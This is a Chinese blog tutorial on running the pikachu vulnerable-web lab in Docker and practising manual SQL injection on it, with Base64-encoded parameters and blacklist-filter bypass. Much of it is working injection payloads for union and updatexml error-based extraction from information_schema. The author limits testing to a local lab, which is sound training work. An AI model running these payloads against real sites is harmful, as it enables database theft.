搞 Web 安全和漏洞测试的人,基本绕不开 pikachu 这个靶场,尤其是想做 SQL 注入练习的时候,本地备一套能随便折腾、坏了随时重置的漏洞测试环境,能省掉大量重复搭建的时间。我这边固定用的是 pikachu 漏洞测试平台,配合 Docker 几分钟就能把一套带 MySQL 后端的完整靶场跑起来,然后在上面直接开练。今天这篇就围绕“快速搭建漏洞测试环境”这个主题,把从装环境到实战注入的完整流程过一遍,重点讲两类让新手最容易卡壳的场景:SQL 注入漏洞测试里的参数加密题型,以及 SQL 过滤字符后的手工注入漏洞测试。文章适合刚接触 Web 安全、想找个靶场练手的人,也适合要准备面试、临时需要复现某个注入场景的老手。
1. 搭靶场前先想清楚:方案选型和整体设计
有句话说得好,测试漏洞最大的障碍经常不是漏洞本身,而是环境怎么搭。常见的选择有自己装 Lamp 环境、用 phpStudy、或者用现成的靶场镜像。我对比了一圈之后,最终选择了 pikachu + Docker 的组合,下面说说为什么这么选。
1.1 为什么选择 pikachu 而不是从零搭环境
pikachu 是一个集成度很高的 Web 漏洞练习平台,里面把常见的注入、XSS、RCE、文件上传、越权、CSRF、SSRF 等问题都做成了一个个独立关卡,每个漏洞还附带了原理说明和源码,学习的时候可以直接对照代码看后端逻辑。对练注入来说,它的 SQL 注入模块分类很细,有数字型、字符型、搜索型、XX 型、insert/update 注入、delete 注入、HTTP Header 注入、盲注、宽字节注入,基本覆盖了日常工作中会遇到的主要场景。
相比之下,从零搭 LAMP 环境不仅慢,而且很容易被 PHP 版本、MySQL 版本的兼容问题折腾到崩溃,环境配完可能一晚上就过去了。特别是你想把同一个靶场反复练的时候,自建环境一旦改乱了,修复的时间成本非常高。
Docker 方案则完全规避了这些问题,靶场镜像把所有依赖都封装好了,本地只需要一个容器运行时,启动、备份、销毁、重建都是分钟级操作。这里我整理了一个简单对比:
| 对比项 | 自建 Lamp 环境 | Docker 化 pikachu |
|---|---|---|
| 部署时间 | 1 到 2 小时起步 | 5 到 10 分钟 |
| 环境一致性 | PHP/MySQL 版本容易漂移 | 镜像固定版本,一致性好 |
| 可复现性 | 配置随缘,换机重来 | 一份 compose 文件到处跑 |
| 对宿主机影响 | 需要安装各种依赖,污染系统 | 容器隔离,不污染系统 |
| 重置成本 | 手动清理麻烦 | down 掉重新 up 即可 |
1.2 两个核心测试场景怎么拆解
这次要重点讲的场景有两个,两者难度不在一个量级上。
第一个是 SQL 注入漏洞测试(参数加密),这类题在后端对传入参数做了一层编码或加密处理,你直接用明文注入是无效的,Burp 里看到的是一串看起来完全不像 SQL 的字符串。难点在于先识别编码规则、还原参数,再构造注入 payload。
第二个是 SQL 过滤字符后的手工注入漏洞测试,有些平台把它直接标成了第 2 题,意思是它比基础注入多了一层防护机制。后端会在接收参数后把单引号、空格、注释符、union、select 等敏感词做黑名单过滤,你必须手工绕过这些过滤才能完成注入。
这两个场景练的不是“会不会背 payload”,而是能不能理解 SQL 解析过程与后端过滤逻辑之间的差异。这也是我推荐在 pikachu 上反复练的原因,它能让你在一个受控、隔离、可重置的环境里把这些原理彻底吃透。
1.3 环境规划与安全边界
做漏洞测试有一个底线:所有操作只针对你自己本地搭建的靶场,不要对任何公网目标尝试这些 payload。我在本地规划时,把靶场端口固定映射到本机,容器网络也保持在 Docker 默认的 bridge 网络里,外部网络无法直接访问到这个服务。这样既方便自己用,又避免误操作打到不该碰的系统上。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. Docker 快速部署 pikachu 靶场实操
这一节直接给可复制的步骤,跟着走基本不会出问题。我的环境是 Ubuntu 22.04 + Docker 24,Windows 上用 Docker Desktop 的话思路完全一样,只是路径和终端命令稍有差别。
2.1 准备工作:Docker 与 Compose
先确认 Docker 是否安装好,终端里执行:
bash复制docker version
docker compose version
如果提示命令不存在,先安装。Ubuntu / Debian 系可以这样:
bash复制sudo apt update
sudo apt install -y docker.io docker-compose-plugin
sudo systemctl enable --now docker
装完以后把当前用户加入 docker 组,避免每条命令都加 sudo:
bash复制sudo usermod -aG docker $USER
newgrp docker
Windows 用户装 Docker Desktop 之后,直接在 PowerShell 里跑 docker version 验证即可。
2.2 编写 docker-compose.yml 并启动服务
创建目录并写入 compose 文件:
bash复制mkdir -p ~/lab/pikachu && cd ~/lab/pikachu
vim docker-compose.yml
内容如下:
yaml复制services:
pikachu:
image: area39/pikachu:latest
container_name: pikachu
ports:
- "8080:80"
- "33066:3306"
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: pikachu
restart: unless-stopped
这里的端口映射说明一下:8080:80 把容器的 80 端口映射到宿主机的 8080,访问 http://127.0.0.1:8080 即可;33066:3306 把 MySQL 端口映射到宿主机 33066,方便用 Navicat 之类的客户端直连排查数据库问题。如果你本机 8080 端口被占用,改成 8081:80 就行。
启动:
bash复制docker compose up -d
第一次启动需要拉镜像,具体时间取决于网速。镜像拉完容器自动起来,查看状态:
bash复制docker ps
看到 pikachu 容器是 Up 状态就说明启动成功了。
2.3 验证靶场是否正常
打开浏览器访问 http://127.0.0.1:8080,如果看到 pikachu 的首页,说明 Web 服务正常。但有时候容器起来了,数据库连接却有问题,页面会提示数据库连接失败。这时需要进入容器手动初始化数据库:
bash复制docker exec -it pikachu /bin/bash
在容器里查看 inc 目录下的数据库配置,确认账号密码是否和我们环境变量里设置的一致。多数 pikachu 镜像内置了 sql 导入脚本,找到类似 /var/www/html/inc/pikachu.sql 的文件后,通过容器里的 mysql 客户端导入:
bash复制mysql -uroot -proot pikachu < /var/www/html/inc/pikachu.sql
导入完成再刷新页面,就能看到完整的漏洞菜单了。
3. 场景一:SQL 注入漏洞测试(参数加密)
参数加密的注入题在 pikachu 里一直很有代表性,很多人第一次遇到会懵,因为它是真的把参数处理了一层再放到 SQL 里去执行。下面结合实操讲解。
3.1 如何识别“参数加密”类注入点
这类注入点的特征是:Burp 里抓到的参数不是一个很直观的纯数字,而是一串看起来像乱码的字符串。以 pikachu 的字符型注入模块为例,正常请求长这样:
http复制GET /pikachu/vul/sqli/sqli_base64.php?id=MQ== HTTP/1.1
Host: 127.0.0.1:8080
看到 MQ== 的第一反应就应该是 Base64。本地解一下:
bash复制echo -n "MQ==" | base64 -d
输出是 1,证实了后端把参数做了 Base64 编码。这时候很多人犯的错误是直接拿编码后的字符串去改,比如把 1' and '1'='1 塞进 URL,这样后端解码后虽然能执行,但如果你没有把整条 payload 编码,就可能因为特殊字符被 URL 转义而失败。
正确做法是:构造明文 payload,再整体做 Base64 编码,最后替换 id 参数。
3.2 解密-改包-重放:整套操作流程
拿我本地靶场演示,分几步走。
先在 Burp 里抓到原始请求,然后切到 Decoder 或直接用命令生成我们的注入参数。第一步是验证注入是否存在,构造一个恒真恒假的对比:
bash复制echo -n "1' and 1=1-- " | base64
echo -n "1' and 1=2-- " | base64
将两组编码分别替换到 id 参数,发送请求。如果 1=1 时页面正常显示第一条记录,1=2 时页面无记录或显示空,说明注入点存在,且后端对单引号和注释符没有过滤。
第二步探测字段数量:
bash复制echo -n "1' order by 2-- " | base64
echo -n "1' order by 3-- " | base64
编码后逐次放进去,order by 2 正常、order by 3 报错,说明查询结果只有两列,union 注入就可以接着打了。
注意一个小细节:这里注释符我用了 -- ,也就是两个减号加一个空格,这是 MySQL 注释的规范写法。如果你在 URL 里明文测试,空格会被 URL 编码成 %20,但放在 Base64 里不存在这个问题,这也是这类题目用编码反而更好操作的地方。
3.3 从探测到脱库:完整 payload 链路
字段数确定以后,确认显示位:
bash复制echo -n "1' union select 1,2-- " | base64
页面如果能看到 2,说明第二个字段在页面上有回显,后面把回显位替换成我们要查的数据即可。爆数据库名和当前用户:
bash复制echo -n "1' union select database(),user()-- " | base64
接着查表名、列名、数据,这一步要借助 MySQL 的元数据库 information_schema:
bash复制echo -n "1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()-- " | base64
echo -n "1' union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users'-- " | base64
这里有个常见的坑:单引号出现在 table_name 的条件里,如果你的注入点本身就是数字型,其实可以不用引号,直接把表名用十六进制表示,比如 table_name=0x7573657273。但如果在 pikaqiu 这类字符型注入点里,引号是必要的,所以不用担心,直接整体编码过去就行。
如果 union 注入因为回显过滤失败,还有一种更省事的方案:报错注入。比如用 updatexml:
bash复制echo -n "1' and updatexml(1,concat(0x7e,(select database())),1)-- " | base64
报错信息里直接能看到数据库名。报错注入在参数加密场景下也很好用,因为它对回显位置的要求更低,只要页面报错就能把数据带出来。
4. 场景二:SQL 过滤字符后手工注入漏洞测试(第2题)
在不少练习平台里,这个场景被直接命名为“SQL 过滤字符后手工注入漏洞测试(第2题)”。虽然各家界面不一样,但后端逻辑高度相似:会对输入参数做黑名单过滤,然后才拼接到 SQL。我第一次做这类题也卡了很久,因为前面学的 payload 直接打过去全被吞了。
4.1 先探测过滤规则,别急着打
面对过滤型题目,第一件事永远是摸清楚过滤规则。我习惯按顺序提交以下几类测试值,看回显差异:
- 单引号:
1',看是否触发 SQL 报错,还是被转义成1\' - 空格:一个 tab、
%20、%09、%0a,看是否有异常 - 注释符:
--、#、/**/ - 关键字:
union、select、and、or
具体操作就是在 Burp Repeater 里逐个发送,观察响应。比如提交 1' union select 1,2-- 后,发现关键字被替换为空,或者页面提示非法字符,那就说明过滤规则里包含了这些词。很多时候过滤不是全部生效的,可能 union 被过滤了但 order by 没被过滤,先通过这一轮测试把过滤面和未过滤面画出来,后面才好设计绕过方案。
4.2 绕过过滤的核心套路
过滤规则背后一般是一个简单的正则替换,绕过的本质就是寻找解析器与过滤器的理解差异。
空格被过滤时,可以尝试用 %0a 换行符、%09 制表符、/**/ 注释符来代替空格。搜索引擎和手写 SQL 解析器对空白的处理比正则宽松得多,所以很多过滤空格的场景用 %0a 就能直接绕开。比如:
text复制1'%0aunion%0aselect%0a1,2--
如果注释符也被过滤了,注意一点:%0a 这种编码形式如果后端只是简单替换了空格字符,换行符完全不在过滤范围内,所以优先考虑。
关键字被过滤,常见套路有三种:
- 大小写混淆:如果过滤是大小写敏感的,
UnIoN SeLeCt就能绕过; - 双写:如果过滤逻辑是用
str_replace把关键字替换为空且只替换一次,ununionion、selselectect就可以绕过; - 内联注释:如果
/**/没被过滤,uni/**/on sel/**/ect也能绕过。
单引号被过滤时,需要分情况。如果只是被转义成了 \',说明后端用了 addslashes 这类转义函数,此时可以考虑宽字节注入,利用数据库连接字符集把转义符吃掉。但如果是被直接替换为空,更实际的办法是寻找不需要引号的注入点,或者用十六进制字符串来表示数据,比如用 0x7573657273 来表示 users,这样就能避免引号。
4.3 一个可复现的完整攻击链
这里我以“过滤了空格、union、select、注释符”的关卡为例,走一遍完整流程。目标是通过报错注入拿到数据库名。
第一步构造基础 payload:
sql复制1' and updatexml(1,concat(0x7e,(select database())),1)--
直接提交大概率会被过滤。空格被过滤,换成 %0a:
text复制1'%0aand%0aupdatexml(1,concat(0x7e,(selselectect%0adatabase())),1)--
双写绕过 select,updatexml 本身不在过滤名单里所以保留。如果这一步被拦截,再尝试内联注释:
text复制1'%0aand%0aupdatexml(1,concat(0x7e,(se/**/lect%0adatabase())),1)--
拿到库名后爆表名:
text复制1'%0aand%0aupdatexml(1,concat(0x7e,(selselectect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database())),1)--
如果这一步因为 from 也被过滤而失败,把 from 改成 %0afrom%0a 或者双写尝试。拿到表名后爆列名,最后 dump 数据,链路和上一节的 union 注入一致,只是每一步都需要套一层绕过逻辑。
这里特别说明一下报错返回的长度限制:updatexml 和 extractvalue 的报错信息最长能显示 32 位左右,超过部分会被截断。所以如果查出来的数据很长,比如 group_concat 把多行数据拼在一起,报错信息只能看到开头一小段,这时要用 substr 配合截取,一次取 30 个字符:
text复制1'%0aand%0aupdatexml(1,concat(0x7e,(selselectect%0asubstr(group_concat(table_name),1,30)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database())),1)--
把 1,30 改成 31,60 继续读下一段,直到读完全部数据。手工注入的核心就在这里,每一步都要根据实际返回调整 payload,这也是我推荐多练这类题的原因。
5. 常见问题与排查技巧实录
在使用这套靶场和测试过程中,我踩过不少坑,这里直接整理成速查表,遇到问题可以对着排查。
5.1 容器与数据库层面
| 问题 | 现象 | 排查思路 | 解决办法 |
|---|---|---|---|
| 容器起不来 | docker compose up 报端口占用 | 检查 8080 是否被占用 | docker ps 查看占用容器,或改映射端口 |
| 页面数据库连接失败 | 首页提示无法连接 MySQL | 容器内 MySQL 未初始化或密码不符 | 进入容器执行 sql 导入,核对配置 |
| 页面 CSS 错乱 | 页面能打开但样式全丢 | 多为浏览器缓存了旧资源 | 无痕窗口打开或清缓存 |
| 容器重启后数据丢失 | 之前导入的题目数据消失 | 容器被删除,未挂载数据卷 | compose 里加 volumes 持久化 MySQL 数据 |
5.2 注入测试层面
| 问题 | 现象 | 排查思路 | 解决办法 |
|---|---|---|---|
| 参数加密识别不出 | 参数是一串乱码但不知道是什么编码 | 先试 Base64、URL 解码、Hex | Bolt 里拿一段到 CyberChef 自动检测 |
| 注入后页面始终无变化 | 恒真和恒假返回一样 | 可能没有回显位,或参数没进入 SQL | 改报错注入或时间盲注验证 |
| 关键字被替换为空 | union 变成了空 | 后端做了 str_replace 单次替换 | 尝试双写、大小写、内联注释 |
| 引号被转义 | 提交 1' 变成 1\' |
后端启用了转义函数 | 考虑宽字节注入或数字型注入点 |
| 报错信息不完整 | 数据只显示一段 | updatexml 报错长度限制 32 位 | 配合 substr 分多次读取 |
这里多说一个排查习惯:遇到注入 payload 打不过去,不要只盯着 payload 本身改,回到源码看过滤逻辑是最快的。pikachu 的好处就是每道关卡的 PHP 源码都摆在那里,你直接开个终端去看 vul/sqli/ 目录下对应的文件,过滤函数写得清清楚楚,照着源码调整 payload,比盲猜高效得多。
6. 实战心得与后续扩展
这套流程走完,基本上已经把“快速搭建漏洞测试环境”这件事闭环了。最后分享几个我长期使用下来的体会。
第一,靶场要随用随起,不要一直常驻。我平时不用的时候会直接 docker compose down 把容器停掉,要用的时候一条命令拉起来,五分钟内进入状态。这样既节省资源,也保证每次练习都是从干净环境开始,不会因为上次操作改坏了某道题而影响练习。
第二,Burp 和终端配合好是提速的关键。在 Repeater 里测试参数加密的题目,不需要手动去算 Base64,直接用命令管道生成:
bash复制echo -n "1' union select database(),user()-- " | base64
然后把结果粘进请求里,来回几次就能把整套租户跑通。
第三,手工注入这个技能,任何自动化工具都替代不了。像过滤字符、参数加密这类场景,sqlmap 不是不能打,但你得手动写 tamper 脚本,还得理解和调参。真正把手工绕过的思路练熟了,再去用工具反而更得心应手,因为你一眼就能看出来它为什么能打成功、为什么被打断。
第四,也是最重要的,合规意识一定要刻在脑子里。我每次写这类文章都会强调一句:所有测试都只在自己的本地靶场进行,不要拿这些 payload 去打任何线上系统。做安全测试的人,技术可以慢慢练,底线不能破。
最后再给一个扩展建议:pikachu 跑通之后,可以用同样的 Docker 方式继续叠加 DVWA、sqli-labs、upload-labs 等靶场,组成一个家庭式漏洞测试环境全家桶。每个靶场用不同端口映射,互不干扰,需要哪个就起哪个。这套环境我已经用了大半年,每次要复现漏洞都是直接 up 一下,测完 down 掉,干净又省心。建议你也把它变成随用随起的常备工具,没事儿多刷几遍那两个注入场景,手感很快就会上来。
